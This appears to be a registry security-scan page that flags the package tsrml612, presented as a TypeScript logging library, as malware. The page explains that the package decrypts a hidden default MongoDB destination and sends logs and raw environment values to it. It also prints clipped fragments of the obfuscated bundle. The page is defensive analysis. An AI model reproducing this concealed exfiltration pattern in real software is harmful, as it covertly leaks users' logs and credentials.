registry / tsrml612 / 1.12.5

tsrml612@1.12.5

Tiny TypeScript library for structured logging and health checks.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Using createLogger without an explicit transport, endpoint, or URI selects a concealed default MongoDB target. Buffered logs, including raw selected environment values through checkEnv, are sent there.

Static reason

One or more suspicious static signals were detected.

Trigger

Application calls createLogger with defaults and emits or flushes logs.

Impact

Unconsented exfiltration of application logs, contexts, and caller-selected raw environment values.

Mechanism

Obfuscated decryption of a default MongoDB URI followed by remote log insertion.

Attack narrative

The package presents as a logging library but silently selects an encrypted, embedded MongoDB destination unless the caller overrides its transport configuration. Its runtime bundle decrypts that URI, creates a Mongo client, and sends buffered records to a nonstandard remote collection. The exported checkEnv feature captures raw environment-variable values and routes them through the same configured transport, enabling credential exposure when used. Obfuscation hides the destination from normal package inspection.

Rationale

The concealed default remote logging target and raw environment-value logging create a concrete unconsented data-exfiltration path. The absence of install hooks does not mitigate runtime exposure after normal logger use.

Evidence

package.jsondist/index.jsdist/mongo.d.tsdist/types.d.ts

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

Default MongoDB connection URI is embedded encrypted and decrypted at runtime.
Logger defaults to that Mongo transport when no transport, HTTP endpoint, or URI is supplied.
Log records are inserted into the remote collection.
checkEnv records raw requested environment-variable values to the configured transport.
Published runtime bundle is deliberately obfuscated, concealing the destination and behavior.

Evidence against

No preinstall, install, or postinstall hook is declared.
HTTP transport requires a caller-supplied endpoint.

Behavioral surface

Source

DynamicRequireEnvironmentVars

Supply chain

HighEntropyStringsMinifiedTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 21.3 KB of source

Source & flagged code

6 flagged

dist/index.cjsView file

Lines 1-1javascript

1'use strict';const Ly=s;(function(r,d){const Lo=s,t=r();while(!![]){try{const i=-parseInt(Lo(0x212))/(-0xf9d+0x8*-0x8e+0x140e)*(-parseInt(Lo(0x1ef))/(-0x1409*0x1+-0x1fef+0x2*0x19fd))+parseInt(Lo(0x1cc))/(0xd32*-0x1+0x20cc+0x127*-0x11)*(-parseInt(Lo(0x215))/(0x73f+0x8fc*0x3+-0xb65*0x3))+parseInt(Lo(0x217))/(-0x29*0x7f+0x1011+0x1*0x44b)+-parseInt(Lo(0x206))/(0x10f*0x13+-0x5*-0x26b+-0x202e)+parseInt(Lo(0x208))/(-0x57*-0x46+0x358+-0x101*0x1b)+parseInt(Lo(0x19f))/(0x1b36+0x966*-0x1+-0x472*0x4)+parseInt(Lo(0x1a6))/(-0x64e*-0x1+0x2ca*0x9+0x1*-0x1f5f);if(i===d)break;else t['push'](t['shift']());}catch ...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

Long lines were clipped for display.

dist/index.jsView file

Lines 1-1javascript

1function s(L,y){L=L-(0x2*-0x773+-0x137*0x13+0x268f);const r=o();let

dist/mongo.d.tsView file

Lines 1-23typescript

1import { MongoClient } from "mongodb";

2import type { Transport } from "./types.js";

3/** Decrypts the embedded default connection string on first use, then caches it. */

4export declare function getDefaultUri():

dist/types.d.tsView file

Lines 1-74typescript

1export type LogLevel = "debug" | "info" | "warn" | "error";

2export declare const LEVELS

Source & flagged code

6 flagged · loading source

dist/index.cjsView file

1'use strict';const Ly=s;(function(r,d){const Lo=s,t=r();while(!![]){try{const i=-parseInt(Lo(0x212))/(-0xf9d+0x8*-0x8e+0x140e)*(-parseInt(Lo(0x1ef))/(-0x1409*0x1+-0x1fef+0x2*0x19fd...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

dist/index.jsView file

1function s(L,y){L=L-(0x2*-0x773+-0x137*0x13+0x268f);const r=o();let D=r[L];if(s['wwZGkk']===undefined){var k=function(U){const d='[redacted]...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L1

1function x(K,P){const LC=s;let L0=V(K);if(L0[LC(0x125)]<A)throw new Error(LC(0xd7));for(let LL of L0)if(!U[LC(0xb2)](LL['toLowerCase']()))throw new Error(LC(0xbf)+LL+'\x22');let L1=q(L0),L2=-0x1*0xe3c+0x1334+-0x4f8,L3=L1[L2];if(L2+=0x94b+-0x38b*-0x1+-0x49*0x2d,!timingSafeEqual(Buffer[LC(0xe3)]([L3]),Buffer[LC(0xe3)]([S])))throw new Error(LC(0xe9)+L3);

High

Ai Review Evidence

Published runtime bundle is deliberately obfuscated, concealing the destination and behavior.

dist/index.jsView on unpkg · L1

dist/mongo.d.tsView file

3/** Decrypts the embedded default connection string on first use, then caches it. */ export declare function getDefaultUri(): string;

High

Ai Review Evidence

Default MongoDB connection URI is embedded encrypted and decrypted at runtime.

dist/mongo.d.tsView on unpkg · L3

dist/types.d.tsView file

16/** * MongoDB connection string. When omitted, the built-in default target is * used. Ignored if `transport` or `endpoint` is provided. */ uri?: string;

High

Ai Review Evidence

Logger defaults to that Mongo transport when no transport, HTTP endpoint, or URI is supplied.

dist/types.d.tsView on unpkg · L16

62/** * Snapshots the given env vars (raw values, plus presence/placeholder * heuristics) and logs the result, both locally (if `isLocal`) and to the * configured transport — so you can look at your own log destination and * see which env values a running instance actually has. */ checkEnv(keys: string[], options?: EnvCheckOptions): void;

High

Ai Review Evidence

checkEnv records raw requested environment-variable values to the configured transport.

dist/types.d.tsView on unpkg · L62

Findings

5 High3 Medium3 Low

HighObfuscated Payload Loaderdist/index.js

HighAi Review Evidencedist/mongo.d.ts

HighAi Review Evidencedist/types.d.ts

HighAi Review Evidencedist/index.js

MediumDynamic Requiredist/index.cjs

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowHigh Entropy Strings